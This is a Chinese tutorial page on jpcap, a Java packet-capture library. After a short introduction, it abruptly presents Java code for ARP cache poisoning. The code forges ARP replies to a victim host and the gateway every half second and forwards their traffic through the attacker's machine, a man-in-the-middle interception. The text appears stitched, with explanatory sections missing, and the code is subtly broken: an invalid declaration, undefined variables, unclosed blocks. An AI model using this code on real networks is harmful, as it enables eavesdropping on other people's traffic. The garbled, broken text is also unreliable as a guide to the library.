服务热线:13616026886

技术文档 欢迎使用技术文档,我们为你提供从新手到专业开发者的所有资源,你也可以通过它日益精进

位置:首页 > 技术文档 > JAVA > 新手入门 > 基础入门 > 查看文档

jpcap――java中的数据链路层控制

一.jpcap简介

众所周知,java语言虽然在tcp/udp传输方面给予了良好的定义,但对于网络层以下的控制,却是无能为力的。jpcap扩展包弥补了这一点。
jpcap实际上并非一个真正去实现对数据链路层的控制,而是一个中间件,jpcap调用wincap/libpcap,而给java语言提供一个公共的接口,从而实现了平台无关性。在官方网站上声明,jpcap支持freebsd 3.x, linux redhat 6.1, fedora core 4, solaris, and microsoft windows 2000/xp等系统。
 
二.jpcap机制
       jpcap的整个结构大体上跟wincap/libpcap是很相像的,例如networkinterface类对应wincap的typedef struct _adapter  adapter,getdevicelist()对应pcap_findalldevs()等等。 jpcap有16个类,下面就其中最重要的4个类做说明。
 
1.networkinterface
该类的每一个实例代表一个网络设备,一般就是网卡。这个类只有一些数据成员,除了继承自java.lang.object的基本方法以外,没有定义其它方法。
 
我们必须做四件事:
a.发送arp包修改b的arp缓存表;
b.发送arp包修改路由arp缓存表;
c.转发b发过来的数据包;
d.转发路由发过来的数据包;
 
下面我们给个小小的例子说明怎样实现。
我们假定运行这个程序的机器a只有一个网卡,只接一个网络,所在局域网为ethernet,并且假定已经通过某种方式获得b和网关的mac地址(例如arp解析获得)。我们修改了b和网关的arp表,并对他们的包进行了转发。
public class changearp{
         private networkinterface[] devices;                           //设备列表
         private networkinterface device;                               //要使用的设备
         private jpcapcaptor jpcap;                                        //与设备的连接
         private jpcapsender sender;                                       //用于发送的实例
         private byte[] targetmac, gatemac;                       //b的mac地址,网关的mac地址
         private byte[] string targetip, string gateip;              //b的ip地址,网关的ip地址
         /**
         *初始化设备
         * jpcapcaptor.getdevicelist()得到设备可能会有两个,其中一个必定是“generic
*dialup adapter”,这是windows系统的虚拟网卡,并非真正的硬件设备。
*注意:在这里有一个小小的bug,如果jpcapcaptor.getdevicelist()之前有类似jframe jf=new
*jfame()这类的语句会影响得到设备个数,只会得到真正的硬件设备,而不会出现虚拟网卡。
*虚拟网卡只有mac地址而没有ip地址,而且如果出现虚拟网卡,那么实际网卡的mac将分
*配给虚拟网卡,也就是说在程序中调用device. mac_address时得到的是00 00 00 00 00 00。
         */
         private networkinterface getdevice() throws ioexception {
                  devices = jpcapcaptor.getdevicelist();                                                 //获得设备列表
                   device = devices[0];                                                                                //只有一个设备
                   jpcap = jpcapcaptor.opendevice(device, 2000, false, 10000);             //打开与设备的连接
                   jpcap.setfilter(“ip”,true);                                                                       //只监听b的ip数据包
                   sender = captor.getjpcapsenderinstance();
         }
         /**
         *修改b和网关的arp表。因为网关会定时发数据包刷新自己和b的缓存表,所以必须每隔一
         *段时间就发一次包重新更改b和网关的arp表。
         *@参数 targetmac           b的mac地址,可通过arp解析得到;
         *@参数 targetip                 b的ip地址;
         *@参数 gatemac              网关的mac地址;
         *@参数 gateip                     网关的ip;
         */
         public changearp(byte[] targetmac, string targetip,byte[] gatemac, string gateip)
                            throws unknownhostexception,interruptedexception {
                   this. targetmac =  targetmac;
                   this. targetip =  targetip;
                   this. gatemac = gatemac;
                   this. gateip = gateip;
                   getdevice();
                   arptarget = new arppacket();                                                     //修改b的arp表的arp包
                   arptarget.hardtype = arppacket.hardtype_ether;          //选择以太网类型(ethernet)
                   arptarget.prototype = arppacket.prototype_ip;                //选择ip网络协议类型
                   arptarget.operation = arppacket.arp_reply;                         //选择reply类型
                   arptarget.hlen = 6;                                                                        //mac地址长度固定6个字节
                   arptarget.plen = 4;                                                                        //ip地址长度固定4个字节
                   arptarget.sender_hardaddr = device.mac_address;                       //a的mac地址
                   arptarget.sender_protoaddr = inetaddress.getbyname(gateip).getaddress();       //网关ip
                   arptarget.target_hardaddr = targetmac;                                               //b的mac地址
                   arptarget.target_protoaddr = inetaddress.getbyname(targetip).getaddress();     //b的ip
 
                   ethernetpacket ethtotarget = new ethernetpacket();                  //创建一个以太网头
                   ethtotarget.frametype = ethernetpacket.ethertype_arp; //选择以太包类型
                   ethtotarget.src_mac = device.mac_address;                                 //a的mac地址
                   ethtotarget.dst_mac = targetmac;                                             //b的mac地址
                   arptarget.datalink = ethtotarget;                                                 //将以太头添加到arp包前
                   arpgate = new arppacket();                                                                 //修改网关arp表的包
                   arpgate.hardtype = arppacket.hardtype_ether;             //跟以上相似,不再重复注析
                   arpgate.prototype = arppacket.prototype_ip;
                   arpgate.operation = arppacket.arp_reply;
                   arpgate.hlen = 6;
                   arpgate.plen = 4;
                   arpgate.sender_hardaddr = device.mac_address;
                   arpgate.sender_protoaddr = inetaddress.getbyname(targetip).getaddress();
                   arpgate.target_hardaddr = gatemac;
                   arpgate.target_protoaddr = inetaddress.getbyname(gateip).getaddress();
 
                   ethernetpacket ethtogate = new ethernetpacket();
                   ethtogate.frametype = ethernetpacket.ethertype_arp;
                   ethtogate.src_mac = device.mac_address;
                   ethtogate.dst_mac = gatemac;
                   arpgate.datalink = ethtogate;
                  
                   thread=new thread(new runnable(){                                 //创建一个进程控制发包速度
                            public void run() {
                                      while (true) {
                                               sender.sendpacket(arptarget);
                                               sender.sendpacket(arpgate);
                                               thread.sleep(500);
                   }).start();
                   recp();                                                                                   //接收数据包并转发
}
/**
*修改包的以太头,转发数据包
*参数 packet               收到的数据包
*参数 changemac     要转发出去的目标
*/
private void send(packet packet, byte[] changemac) {                      
                   ethernetpacket eth;
                   if (packet.datalink instanceof ethernetpacket) {
                            eth = (ethernetpacket) packet.datalink;
                            for (int i = 0; i < 6; i++) {
                                     eth.dst_mac[i] = changemac[i];                      //修改包以太头,改变包的目标
                                     eth.src_mac[i] = device.mac_address[i];            //源发送者为a
                            }
                            sender.sendpacket(packet);
                   }
}
/**
*打印接受到的数据包并转发
*/
public void recp(){
         ippacket ippacket = null;
         while(true){
                  ippacket = (ippacket)jpcap.getpacket();
                            system.out.println(ippacket);
                           if (ippacket.src_ip.gethostaddress().equals(targetip))
                                     send(packet, gatemac);
                            else
                                     send(packet, targetmac);
                   }
}
 
注意:这个例子只是为了说明问题,并没有考虑到程序的健壮性,所以并不一定能在任何一台机器任何一个系统上运行。

扫描关注微信公众号